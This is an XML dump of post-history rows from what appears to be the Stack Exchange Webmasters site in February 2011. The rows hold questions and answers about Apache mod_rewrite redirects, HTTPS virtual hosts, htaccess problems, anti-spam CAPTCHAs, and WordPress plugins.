  <row Id="20892" PostHistoryTypeId="25" PostId="9463" RevisionGUID="4d991632-ed9f-4665-8e60-504a09418120" CreationDate="2011-02-21T14:22:48.560" Comment="http://twitter.com/#!/StackWebmasters/status/39691511771693056" />
  <row Id="20893" PostHistoryTypeId="2" PostId="9479" RevisionGUID="0ca5c036-b609-4514-b597-a84e63ab3046" CreationDate="2011-02-21T15:52:54.470" UserId="4502" Text="Here's an &lt;a href=&quot;http://svn.haxx.se/users/archive-2006-08/0858.shtml&quot;&gt;old thread&lt;/a&gt; on the SVN mailing list asking a similar question. Tacking on the `!svn/bc/###/` bit seems to work on one repo I have access to, but it seems it's implementation-specific." />
  <row Id="20894" PostHistoryTypeId="2" PostId="9480" RevisionGUID="3f4696b7-4481-4bca-b651-24fa6fdcda67" CreationDate="2011-02-21T16:04:07.460" UserId="5563" Text="I have a site that hits the sweet spot for that demographic but my user base is 90% in the U.S." />
  <row Id="20895" PostHistoryTypeId="1" PostId="9480" RevisionGUID="3f4696b7-4481-4bca-b651-24fa6fdcda67" CreationDate="2011-02-21T16:04:07.460" UserId="5563" Text="Is it legal for U.S. based websites to serve online gambling ads?" />
  <row Id="20896" PostHistoryTypeId="3" PostId="9480" RevisionGUID="3f4696b7-4481-4bca-b651-24fa6fdcda67" CreationDate="2011-02-21T16:04:07.460" UserId="5563" Text="&lt;advertising&gt;" />
  <row Id="20901" PostHistoryTypeId="2" PostId="9482" RevisionGUID="bde0513a-a37d-4be8-81b0-146f74626eb9" CreationDate="2011-02-21T16:09:38.583" UserId="5564" Text="What's a good alternative to mediacore (http://getmediacore.com/) but done in PHP. &#xD;&#xA;&#xD;&#xA;I mean with the same good look&amp;feel, support and community support." />
  <row Id="20902" PostHistoryTypeId="1" PostId="9482" RevisionGUID="bde0513a-a37d-4be8-81b0-146f74626eb9" CreationDate="2011-02-21T16:09:38.583" UserId="5564" Text="Alternative to mediacore in PHP?" />
  <row Id="20903" PostHistoryTypeId="3" PostId="9482" RevisionGUID="bde0513a-a37d-4be8-81b0-146f74626eb9" CreationDate="2011-02-21T16:09:38.583" UserId="5564" Text="&lt;web-development&gt;&lt;video&gt;" />
  <row Id="20904" PostHistoryTypeId="6" PostId="9480" RevisionGUID="334631d8-7a5c-4988-91b5-93a9839d6852" CreationDate="2011-02-21T16:09:42.713" UserId="1253" Comment="added the &quot;legal&quot; tag" Text="&lt;advertising&gt;&lt;legal&gt;" />
  <row Id="20905" PostHistoryTypeId="5" PostId="9448" RevisionGUID="46baeb5b-db5c-4e85-88e4-3f1aa4b3876e" CreationDate="2011-02-21T16:11:30.813" UserId="1757" Comment="added 627 characters in body" Text="Usually moderation tools are built into the application/CMS you're using. If you're talking about automated spam-detection tools, then [Akismet][1] has a pretty good reputation for blocking spam on blog comments (you can use their API for any type of content though). And then there're also CAPTCHAs and bot-traps, which can also be very effective when employed strategically.&#xD;&#xA;&#xD;&#xA;User policies are another good way of preventing spam. For instance, peer moderation works quite well on large sites. StackExchange's policy of requiring a certain amount of reputation before allowing links/comments is also very effective.&#xD;&#xA;&#xD;&#xA;When all else fails, hire some paid moderators to patrol the site and delete spam posts and ban spammers.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;Virgil brings up a good point about the ineffectiveness of the popular text-recognition CAPTCHA technique. I can't find any good stats on the latest ReCAPTCHA tests, but most advanced bots have good enough OCR to defeat them within a few attempts. Luckily, the smaller the site you operate, the less effort spammers will make trying to defeat your CAPTCHAs. So for many sites, a well-designed text-recognition CAPTCHA paired with a bot-trap field is enough to deter most spammers. But if you operate a larger site, you may need to get more creative or use an image-recognition CAPTCHA like Microsoft offers.&#xD;&#xA;&#xD;&#xA;  [1]: http://akismet.com/" />
  <row Id="20906" PostHistoryTypeId="2" PostId="9483" RevisionGUID="18b3a876-e9b1-404c-a205-11787b864876" CreationDate="2011-02-21T16:41:09.083" UserId="529" Text="You can install [Google Analytics Opt-Out][1] on your browser. Since GWO runs off of the Google Analytics script, [it will show variations][2] but will not send to the data to GWO.&#xD;&#xA;&#xD;&#xA;FWIW, GWO will only count you *once* per browser. In other words, if you visit your experiment a dozen times from Chrome, it will still only count you once. &#xD;&#xA;&#xD;&#xA;Important to note that this will disable *all* Google Analytics trackers for the browser you use it on, so you might want to disable it once you're done worrying about GWO. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.google.com/dlpage/gaoptout&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=181881" />
  <row Id="20907" PostHistoryTypeId="2" PostId="9484" RevisionGUID="42ac7e8b-4341-4f47-a718-bf149e665a55" CreationDate="2011-02-21T16:41:28.340" UserId="5347" Text="Is there a way to give Wordpress the queue functionality that Tumblr has?  Tumblr's queue, for those who don't know, is a way to space posts out without assigning specific post dates.  For example, a Tumblr queue might be set to post every four hours between 9am and 5pm.  Tumblr would drop the front post in the queue at 9am, 1pm and 5pm every day.  Posts are added to the queue by clicking &quot;add to queue&quot; instead of &quot;publish.&quot; It's quite simple.&#xD;&#xA;&#xD;&#xA;How can this feature be added to Wordpress?" />
  <row Id="20908" PostHistoryTypeId="1" PostId="9484" RevisionGUID="42ac7e8b-4341-4f47-a718-bf149e665a55" CreationDate="2011-02-21T16:41:28.340" UserId="5347" Text="Wordpress Queue like Tumblr?" />
  <row Id="20909" PostHistoryTypeId="3" PostId="9484" RevisionGUID="42ac7e8b-4341-4f47-a718-bf149e665a55" CreationDate="2011-02-21T16:41:28.340" UserId="5347" Text="&lt;wordpress&gt;&lt;post&gt;&lt;tumblr&gt;" />
  <row Id="20910" PostHistoryTypeId="2" PostId="9485" RevisionGUID="c68a96cc-648e-43c7-837f-9dd6b8c8628b" CreationDate="2011-02-21T16:46:08.827" UserId="5565" Text="I am currently building a site and want to hide all development work on the site. I am using a htaccess file and redirecting to my holding page index.php?id=7:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks &#xD;&#xA;    RewriteCond %{REQUEST_URI} !/index.php &#xD;&#xA;    RewriteCond %{REQUEST_URI} !/assets/ &#xD;&#xA;    RewriteRule $ /index.php?id=7 [R=307,L] &#xD;&#xA;&#xD;&#xA;This is working for pretty much all pages, but, changing index.php?id=7 to another number id=6 for example still shows the page with no redirect.&#xD;&#xA;&#xD;&#xA;Any help welcome..." />
  <row Id="20911" PostHistoryTypeId="1" PostId="9485" RevisionGUID="c68a96cc-648e-43c7-837f-9dd6b8c8628b" CreationDate="2011-02-21T16:46:08.827" UserId="5565" Text="htaccess redirect problem" />
  <row Id="20912" PostHistoryTypeId="3" PostId="9485" RevisionGUID="c68a96cc-648e-43c7-837f-9dd6b8c8628b" CreationDate="2011-02-21T16:46:08.827" UserId="5565" Text="&lt;htaccess&gt;&lt;linux&gt;&lt;redirects&gt;" />
  <row Id="20913" PostHistoryTypeId="2" PostId="9486" RevisionGUID="e7f2cb6f-4d64-4d3e-a9f4-3039449da953" CreationDate="2011-02-21T17:03:49.157" UserId="4502" Text="The &lt;a href=&quot;http://wordpress.org/extend/plugins/time-release/&quot;&gt;Time Release&lt;/a&gt; plugin comes close, but has a fixed update period. The functionality is there, though, and I'd guess the portion of code that does the checking/updating could be hacked to use whatever (still-fixed) frequency you want without too much trouble." />
  <row Id="20914" PostHistoryTypeId="25" PostId="9482" RevisionGUID="d9f6629b-c6c8-4927-96ac-273134bdd53d" CreationDate="2011-02-21T17:22:48.430" Comment="http://twitter.com/#!/StackWebmasters/status/39736810309423104" />
  <row Id="20915" PostHistoryTypeId="5" PostId="9469" RevisionGUID="f94777f4-7105-4c59-b312-43ceb9fe45d1" CreationDate="2011-02-21T17:48:57.787" UserId="3453" Comment="added 98 characters in body" Text="There aren't &quot;best practices&quot; for that. To stop spam you _need_ to be creative. Don't use the traditional type of captchas which ask the user to enter some text from an image into a text box. As an owner of a big forum hosting company I can guarantee these Captchas do not stop spambots, not even the hyped ReCaptcha.&#xD;&#xA;&#xD;&#xA;Think of some security question anyone would know how to answer. For example: &quot;Which number is larger: 1 or 328?&quot;. For a number of reasons this is a fairly effective way.&#xD;&#xA;&#xD;&#xA;Akismet is also nice but that is if you don't depend too much on user input because it often flags legit comments as spam comments. So it's not useful for forums, only for blogs and similar websites where you can afford to lose an user or 10." />
  <row Id="20919" PostHistoryTypeId="6" PostId="9437" RevisionGUID="1d55802d-1c2f-4be7-8648-27ba1c0960d3" CreationDate="2011-02-21T20:15:44.920" UserId="5568" Comment="edited tags" Text="&lt;apache&gt;&lt;url-rewriting&gt;&lt;mod-rewrite&gt;&lt;rewrite&gt;" />
  <row Id="20921" PostHistoryTypeId="17" PostId="9489" RevisionGUID="5c23ac58-cbef-4991-b436-0c4f0b3077b1" CreationDate="2011-02-21T21:38:52.463" UserId="-1" Comment="from http://serverfault.com/questions/238292/wrestling-with-some-rewrites-for-apache/238335#238335" Text="" />
  <row Id="20922" PostHistoryTypeId="2" PostId="9489" RevisionGUID="5bbfcd0f-d684-4ba2-8c66-60e6a3c0e05c" CreationDate="2011-02-21T20:36:44.410" UserDisplayName="Hrvoje Špoljar" Text="try these... I've made some examples like you mention and these worked.&#xD;&#xA;Let me know if you got some corner cases that these rules don't cover.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^v/(.*[^/])/(.*[^/])/ /$1/$2/ [R=301]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^v/(.*[^/])/(.*[^/.])\.(.*).html$ /$1/$2? [R=301]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20923" PostHistoryTypeId="2" PostId="9488" RevisionGUID="65f31da1-7f94-4bc7-9e08-552ba8f7062a" CreationDate="2011-02-21T18:57:58.623" UserDisplayName="Evert" Text="I have upgraded my gallery2 to gallery3, and notice that some links no longer resolve correctly. Since the proper way is to redirect these with a 301, that is the way I'm going. The following series need redirecting:&#xD;&#xA;&#xD;&#xA;folders:&lt;br&gt;&#xD;&#xA;old: http://photo.meulie.net/v/various/Gry/&lt;br&gt;&#xD;&#xA;new: http://photo.meulie.net/various/Gry/&#xD;&#xA;&#xD;&#xA;pages:&lt;br&gt;&#xD;&#xA;old: http://photo.meulie.net/v/Jacob/02112008310.jpg.html&lt;br&gt;&#xD;&#xA;new: http://photo.meulie.net/Jacob/02112008310&#xD;&#xA;&#xD;&#xA;(both are of course just examples. there are 100's of folders &amp; files to redirect...)&#xD;&#xA;&#xD;&#xA;I think there were/are also direct links to images, but those I'm not bothering with for now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Who can help me out?  :-)&#xD;&#xA; &#xD;&#xA;Regards,&#xD;&#xA;  Evert" />
  <row Id="20924" PostHistoryTypeId="1" PostId="9488" RevisionGUID="65f31da1-7f94-4bc7-9e08-552ba8f7062a" CreationDate="2011-02-21T18:57:58.623" UserDisplayName="Evert" Text="wrestling with some rewrites for Apache..." />
  <row Id="20925" PostHistoryTypeId="3" PostId="9488" RevisionGUID="65f31da1-7f94-4bc7-9e08-552ba8f7062a" CreationDate="2011-02-21T18:57:58.623" UserDisplayName="Evert" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="20926" PostHistoryTypeId="17" PostId="9488" RevisionGUID="40198db5-dce3-4ef9-a2a9-b273cae5e667" CreationDate="2011-02-21T21:38:52.463" UserId="-1" Comment="from http://serverfault.com/questions/238292/wrestling-with-some-rewrites-for-apache" Text="" />
  <row Id="20927" PostHistoryTypeId="17" PostId="9491" RevisionGUID="af07dec8-a9d9-4bb2-a939-1c95f2c51bfc" CreationDate="2011-02-21T21:39:51.587" UserId="-1" Comment="from http://serverfault.com/questions/238348/using-env-variables-with-rewriterule-and-errordocument/238354#238354" Text="" />
  <row Id="20928" PostHistoryTypeId="2" PostId="9491" RevisionGUID="d7130904-3ce5-4971-96a0-92d4bc092c9d" CreationDate="2011-02-21T21:12:28.767" UserDisplayName="coredump" Text="Should not `%{PATH_TO_DIR}` be `%{ENV:PATH_TO_DIR}`? Also, I am not certain that you can use those variables on the rule, I think they can be used only on the `RewriteCond`.&#xD;&#xA;&#xD;&#xA;Give it a look [here][1] and [here][2], specially on that phrase:&#xD;&#xA;&#xD;&#xA;&gt; If you wish to match against the&#xD;&#xA;&gt; hostname, port, or query string, use a&#xD;&#xA;&gt; RewriteCond with the %{HTTP_HOST},&#xD;&#xA;&gt; %{SERVER_PORT}, or %{QUERY_STRING}&#xD;&#xA;&gt; variables respectively&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewritecond&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewriterule" />
  <row Id="20929" PostHistoryTypeId="2" PostId="9490" RevisionGUID="d7364388-3f0d-4c2b-8156-9a850b0f0cd4" CreationDate="2011-02-21T20:56:03.567" UserDisplayName="misterte" Text="I'm having problems with the following while config. my Apache server to Rewrite some urls.&#xD;&#xA;&#xD;&#xA;    SetEnv PATH_TO_DIR /directory&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^%{PATH_TO_DIR}/([a-zA-Z0-9_\-]+)/([a-zA-Z0-9_\-\.]+)/?$ /index.php?dir=$1&amp;file=$2&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 404 %{PATH_TO_DIR}/index.php?dir=null&amp;file=error&#xD;&#xA;&#xD;&#xA;This conf. used to work perfectly fine until I used SetEnv PATH... etc. I need to use this because there are lots of rules, not just those.&#xD;&#xA;&#xD;&#xA;Can anyone point out my mistake?&#xD;&#xA;&#xD;&#xA;Apache returns&#xD;&#xA;&#xD;&#xA;    %{PATH_TO_DIR}/index.php?dir=null&amp;file=error&#xD;&#xA;&#xD;&#xA;when I try anything (www.site.com/foo/bar for instance).&#xD;&#xA;&#xD;&#xA;Apache returns the ErrorDocument if i just try to fetch the index.&#xD;&#xA;&#xD;&#xA;I know it's not a problem with the rewrite rules because they work when I remove the PATH_TO_DIR variable and just hard code it.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;A." />
  <row Id="20930" PostHistoryTypeId="1" PostId="9490" RevisionGUID="d7364388-3f0d-4c2b-8156-9a850b0f0cd4" CreationDate="2011-02-21T20:56:03.567" UserDisplayName="misterte" Text="Using env variables with RewriteRule and ErrorDocument" />
  <row Id="20931" PostHistoryTypeId="3" PostId="9490" RevisionGUID="d7364388-3f0d-4c2b-8156-9a850b0f0cd4" CreationDate="2011-02-21T20:56:03.567" UserDisplayName="misterte" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="20932" PostHistoryTypeId="17" PostId="9490" RevisionGUID="ecdd7a9f-87cc-488d-a346-566df2415feb" CreationDate="2011-02-21T21:39:51.587" UserId="-1" Comment="from http://serverfault.com/questions/238348/using-env-variables-with-rewriterule-and-errordocument" Text="" />
  <row Id="20933" PostHistoryTypeId="2" PostId="9492" RevisionGUID="5156298b-f390-41d4-940e-8925714c044b" CreationDate="2011-02-21T13:17:14.990" UserDisplayName="Nualana Humeing" Text="Is it possible to use mod_rewrite on Amazon S3?&#xD;&#xA;&#xD;&#xA;    www.example.com/about.html -&gt; mybucket.s3.amazon.com/index.html&#xD;&#xA;    www.example.com/welcome.html -&gt; mybucket.s3.amazon.com/index.html&#xD;&#xA;    www.example.com/contact.html -&gt; mybucket.s3.amazon.com/index.html&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="20934" PostHistoryTypeId="1" PostId="9492" RevisionGUID="5156298b-f390-41d4-940e-8925714c044b" CreationDate="2011-02-21T13:17:14.990" UserDisplayName="Nualana Humeing" Text="Mod_rewrite on Amazon S3" />
  <row Id="20935" PostHistoryTypeId="3" PostId="9492" RevisionGUID="5156298b-f390-41d4-940e-8925714c044b" CreationDate="2011-02-21T13:17:14.990" UserDisplayName="Nualana Humeing" Text="&lt;mod-rewrite&gt;&lt;amazon-s3&gt;" />
  <row Id="20936" PostHistoryTypeId="17" PostId="9492" RevisionGUID="5bec0646-bcc3-4fc0-8af8-b70f63fe167e" CreationDate="2011-02-21T21:40:01.977" UserId="-1" Comment="from http://serverfault.com/questions/238172/mod-rewrite-on-amazon-s3" Text="" />
  <row Id="20937" PostHistoryTypeId="17" PostId="9494" RevisionGUID="7caafcae-4ebe-4c52-8854-a4f347cf1ed4" CreationDate="2011-02-21T21:40:13.257" UserId="-1" Comment="from http://serverfault.com/questions/237880/how-to-remove-a-file-from-url-using-mod-rewrite/237883#237883" Text="" />
  <row Id="20938" PostHistoryTypeId="2" PostId="9494" RevisionGUID="3cfc85ff-a749-43bf-bb51-f8522a557e63" CreationDate="2011-02-20T16:52:44.790" UserId="2665" Text="In your virtualhost definition for foo.com:&#xD;&#xA;&#xD;&#xA;    DocumentRoot /var/www/&#xD;&#xA;&#xD;&#xA;Then your rewrite rule:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^/home.php$ /&#xD;&#xA;" />
  <row Id="20939" PostHistoryTypeId="2" PostId="9493" RevisionGUID="b63e7a76-849d-4f81-a3a8-9b683575deb3" CreationDate="2011-02-20T16:45:15.550" UserDisplayName="Goolar" Text="I want `http://www.foo.com/` to internally point to `/var/www/home.php` and `http://www.foo.com/home.php` to be redirected to `http://www.foo.com/`.&#xD;&#xA;&#xD;&#xA;Thus, I would like to fix the old `http://www.foo.com/home.php` to the new one `http://www.foo.com/`. But I always get infinite loop or other strange error no matter what." />
  <row Id="20940" PostHistoryTypeId="1" PostId="9493" RevisionGUID="b63e7a76-849d-4f81-a3a8-9b683575deb3" CreationDate="2011-02-20T16:45:15.550" UserDisplayName="Goolar" Text="How to remove a file from url using mod_rewrite" />
  <row Id="20941" PostHistoryTypeId="3" PostId="9493" RevisionGUID="b63e7a76-849d-4f81-a3a8-9b683575deb3" CreationDate="2011-02-20T16:45:15.550" UserDisplayName="Goolar" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="20942" PostHistoryTypeId="17" PostId="9493" RevisionGUID="ce020e41-4a64-4b67-883c-db63a31569d1" CreationDate="2011-02-21T21:40:13.257" UserId="-1" Comment="from http://serverfault.com/questions/237880/how-to-remove-a-file-from-url-using-mod-rewrite" Text="" />
  <row Id="20943" PostHistoryTypeId="17" PostId="9496" RevisionGUID="18c62992-0659-4d3f-acf3-eabf04f809a2" CreationDate="2011-02-21T21:40:35.317" UserId="-1" Comment="from http://serverfault.com/questions/237529/mod-rewrite-directing-http-https-traffic-to-the-appropriate-virtual-hosts/237539#237539" Text="" />
  <row Id="20944" PostHistoryTypeId="17" PostId="9497" RevisionGUID="1469fff8-87a4-4dfc-8592-64aa9e97dec8" CreationDate="2011-02-21T21:40:35.317" UserId="-1" Comment="from http://serverfault.com/questions/237529/mod-rewrite-directing-http-https-traffic-to-the-appropriate-virtual-hosts/237544#237544" Text="" />
  <row Id="20945" PostHistoryTypeId="2" PostId="9496" RevisionGUID="4a2b741e-d79e-49de-a4f9-82aaa3293a1a" CreationDate="2011-02-19T01:35:50.457" UserId="5545" Text="What I do: use vhosts for each site, including a vhost for the variant I want to suppress. This keeps all the configuration for a named site in one place. The duplication of content is minimal thanks to `mod_macro`.&#xD;&#xA;&#xD;&#xA;You want to issue a redirect, not rewrite internally, since the idea is to get the *client* to retry using the correct protocol. Make sure to only rewrite for GET, since a redirect after POST means data is accepted and you only want to really deal with people using the wrong scheme in their web-browser -- API users should be using the correct interface.&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;      &lt;VirtualHost 192.0.2.1:80 [2001:db8::1234:1]:80&gt;&#xD;&#xA;        ServerName www.example.org&#xD;&#xA;        DocumentRoot /www/sites/empty-stub&#xD;&#xA;        RewriteEngine       on&#xD;&#xA;        RewriteCond %{REQUEST_METHOD} =GET&#xD;&#xA;        RewriteRule ^(.*) https://www.example.org$1 [R,L]&#xD;&#xA;      &lt;/VirtualHost&gt;&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;and if you do this a lot, wrap it in a mod_macro `&lt;Macro&gt;..&lt;/Macro&gt;` block so that it becomes:&#xD;&#xA;&#xD;&#xA;    Use RedirToHTTPS www.example.org&#xD;&#xA;" />
  <row Id="20946" PostHistoryTypeId="2" PostId="9497" RevisionGUID="1597b2a2-487f-45b0-93e4-2bfd5ca83fa1" CreationDate="2011-02-19T01:59:27.503" UserId="2660" Text="This is tricky. Historically this wasn't possible since SSL didn't permit indicating which virtual host it was attempting to access as it sets up the connection to the designated IP address. This has changed somewhat with [Server Name Indication][1] ([RFC 4366][2]), a feature of TLS. &#xD;&#xA;&#xD;&#xA;Apache has taken a long time to get support for it, [but it now does][3]. Your version is new enough it should support it, but you'll need a browser that also does. Before working on the rewrite stuff, I'd start working on making sure that https://server1.example.com/ returns the right VHost. Once it does that, the ModRewrite stuff should just work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Server_Name_Indication&#xD;&#xA;  [2]: http://www.ietf.org/rfc/rfc4366.txt&#xD;&#xA;  [3]: http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI" />
  <row Id="20947" PostHistoryTypeId="2" PostId="9495" RevisionGUID="c67250e3-0694-4fa2-aff7-36bd5899ca4a" CreationDate="2011-02-19T00:46:28.183" UserDisplayName="kce" Text="I have an Apache2 web server (v. 2.2.16) running on Debian hosting three virtual hosts. The first two hosts are HTTP only (server1 and server2). The last host is HTTPS only (server3). My virtual host configuration files can be found at [pastebin][1]. I would like to use mod rewrite to get the following behavior:&#xD;&#xA;&#xD;&#xA; - Any request for http://server3 is re-directed to https://server3&#xD;&#xA; - Any request for either https://server1 or https://server2 is re-directed to http://server1 or http://server2 as appropriate.&#xD;&#xA;&#xD;&#xA;Currently, requesting http://server3 gives you a 403 because indexing is disabled for that host and  a request for https://server1 or https://server2 will resolve as https://server3 (as its the only virtual host running SSL). This behavior is not desirable.&#xD;&#xA;&#xD;&#xA;So far I have added a rewrite rule to the central configuration file (_myServerWideConfs.conf_), with unfortunately no effect. I was under the impression that this rule (or something similar) should rewrite all https:// requests for server1 and server2 to the proper http:// request.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^server3 [NC]&#xD;&#xA;    RewriteRule (.*) http://%{HTTP_HOST}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is two-fold:&#xD;&#xA;&#xD;&#xA; - What mod rewrite rules should I use to accomplish this? And where should they go? Debian's packaging of Apache has a pretty granular (i.e., fractured) configuration file layout; should my rewrite rules go in */etc/apache2/apache2.conf*, */etc/apache2/conf.d/myServerWideConfs.conf*, or the individual virtual host files?&#xD;&#xA; - Is mod rewrite the right tool to accomplish this or am I missing something in my greater apache configuration? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pastebin.com/parur3RJ" />
  <row Id="20948" PostHistoryTypeId="1" PostId="9495" RevisionGUID="c67250e3-0694-4fa2-aff7-36bd5899ca4a" CreationDate="2011-02-19T00:46:28.183" UserDisplayName="kce" Text="Mod Rewrite - directing HTTP/HTTPS traffic to the appropriate virtual hosts" />
  <row Id="20949" PostHistoryTypeId="3" PostId="9495" RevisionGUID="c67250e3-0694-4fa2-aff7-36bd5899ca4a" CreationDate="2011-02-19T00:46:28.183" UserDisplayName="kce" Text="&lt;apache&gt;&lt;mod-rewrite&gt;&lt;http&gt;&lt;ssl&gt;" />
  <row Id="20950" PostHistoryTypeId="17" PostId="9495" RevisionGUID="5cf70533-60fc-41cd-87b2-a7910d2f93c6" CreationDate="2011-02-21T21:40:35.317" UserId="-1" Comment="from http://serverfault.com/questions/237529/mod-rewrite-directing-http-https-traffic-to-the-appropriate-virtual-hosts" Text="" />
  <row Id="20951" PostHistoryTypeId="17" PostId="9499" RevisionGUID="24fb9621-5922-4c0b-a14a-5dec915f447a" CreationDate="2011-02-21T21:40:44.240" UserId="-1" Comment="from http://serverfault.com/questions/237530/mod-rewrite-and-urls-that-dont-end-with-php/237531#237531" Text="" />
  <row Id="20952" PostHistoryTypeId="17" PostId="9500" RevisionGUID="c57e5d67-66fe-418a-8c27-5a126fed9ee7" CreationDate="2011-02-21T21:40:44.240" UserId="-1" Comment="from http://serverfault.com/questions/237530/mod-rewrite-and-urls-that-dont-end-with-php/237532#237532" Text="" />
  <row Id="20953" PostHistoryTypeId="2" PostId="9499" RevisionGUID="6831d90c-90de-40a8-a4ca-7816bce7b3ca" CreationDate="2011-02-18T21:37:32.103" UserDisplayName="coreyward" Text="Something like this should be what you need:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule /(.+)\.php$ /$1&#xD;&#xA;&#xD;&#xA;Although more information on what you are already doing would have made a more direct answer possible." />
  <row Id="20954" PostHistoryTypeId="2" PostId="9500" RevisionGUID="e41c1ff3-3b75-4773-9318-95992acd8af5" CreationDate="2011-02-18T21:41:28.227" UserId="694" Text="Try&#xD;&#xA;&#xD;&#xA;    RewriteRule a\.html b\.php&#xD;&#xA;" />
  <row Id="20955" PostHistoryTypeId="2" PostId="9498" RevisionGUID="ce287b9c-8b1e-4eac-aa0b-e6c01c78b567" CreationDate="2011-02-18T21:31:52.843" UserId="3157" Text="I'm trying to use Mod_rewrite to hide the .php extensions of my pages.&#xD;&#xA;&#xD;&#xA;However, it refuses to do any rewriting unless the input url ends with .php, which makes that impossible. I can confirm that rewriting works fine as long as the url has .php at the end.&#xD;&#xA;&#xD;&#xA;    RewriteRule a\.php b\.php&#xD;&#xA;&#xD;&#xA;Works, while &#xD;&#xA;&#xD;&#xA;    RewriteRule a\.html b\.html&#xD;&#xA;&#xD;&#xA;does not.&#xD;&#xA;&#xD;&#xA;How can I turn off this behavior and allow it to rewrite all urls? I'm on a shared host so whatever I do has to be done from a .htaccess file.&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;There seems to be some confusion about what I'm asking here. The question is not about how to write the rule, the question is about server configuration. The rule I'm using is fine, I can test that locally. But the server I'm working with is somehow configured so that mod_rewrite doesn't attempt to rewrite anything that doesn't end with .php&#xD;&#xA;" />
  <row Id="20956" PostHistoryTypeId="1" PostId="9498" RevisionGUID="ce287b9c-8b1e-4eac-aa0b-e6c01c78b567" CreationDate="2011-02-18T21:31:52.843" UserId="3157" Text="Mod_rewrite and urls that don't end with .php" />
  <row Id="20957" PostHistoryTypeId="3" PostId="9498" RevisionGUID="ce287b9c-8b1e-4eac-aa0b-e6c01c78b567" CreationDate="2011-02-18T21:31:52.843" UserId="3157" Text="&lt;php&gt;&lt;mod-rewrite&gt;" />
  <row Id="20958" PostHistoryTypeId="17" PostId="9498" RevisionGUID="66b714c2-2507-46e6-b9c4-af5a74427462" CreationDate="2011-02-21T21:40:44.240" UserId="-1" Comment="from http://serverfault.com/questions/237530/mod-rewrite-and-urls-that-dont-end-with-php" Text="" />
  <row Id="20959" PostHistoryTypeId="17" PostId="9502" RevisionGUID="8cb545ff-2cbf-4f43-b3a2-3b5d11830610" CreationDate="2011-02-21T21:41:15.347" UserId="-1" Comment="from http://serverfault.com/questions/237308/apache-mod-rewrite-for-multiple-domains-to-ssl/237316#237316" Text="" />
  <row Id="20960" PostHistoryTypeId="17" PostId="9503" RevisionGUID="69fc7f01-88d5-48ab-b93e-7ea828bc454f" CreationDate="2011-02-21T21:41:15.347" UserId="-1" Comment="from http://serverfault.com/questions/237308/apache-mod-rewrite-for-multiple-domains-to-ssl/237359#237359" Text="" />
  <row Id="20961" PostHistoryTypeId="2" PostId="9502" RevisionGUID="2b1ba5fe-9d21-4937-9d61-33b37d2ad0f8" CreationDate="2011-02-18T15:57:37.460" UserDisplayName="voretaq7" Text="I'm pretty sure you can do this with straight mod_rewrite rules (using a `rewriteCond` on HTTP_HOST), but from a configuration-management standpoint it may be easier to take a different tack: I assume you're running each SSL site on its own IP address (because [SNI][1] support isn't quite universal yet, though getting close).  In this case I would go for the easy solution and set up virtual hosts for each IP (1.2.3.4:80) that forward to the SSL version exactly as you have above.&#xD;&#xA;&#xD;&#xA;If you're relying on SNI (everyone is on one IP) you can do the same thing with a `NameVirtualHost` on port 80...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Server_Name_Indication" />
  <row Id="20962" PostHistoryTypeId="2" PostId="9503" RevisionGUID="72a023d3-37b2-4d38-9889-239bc87e3dbe" CreationDate="2011-02-18T17:13:53.640" UserDisplayName="PG Puters" Text="I'm doing this for a couple sites.&#xD;&#xA;&#xD;&#xA;Below is an excerpt of one of my virtuals doing this:&#xD;&#xA;&#xD;&#xA;Code container still mangled my snippet, so I posted it here: &#xD;&#xA;&#xD;&#xA;http://tech.kulish.com/2011/02/18/https-redirects/" />
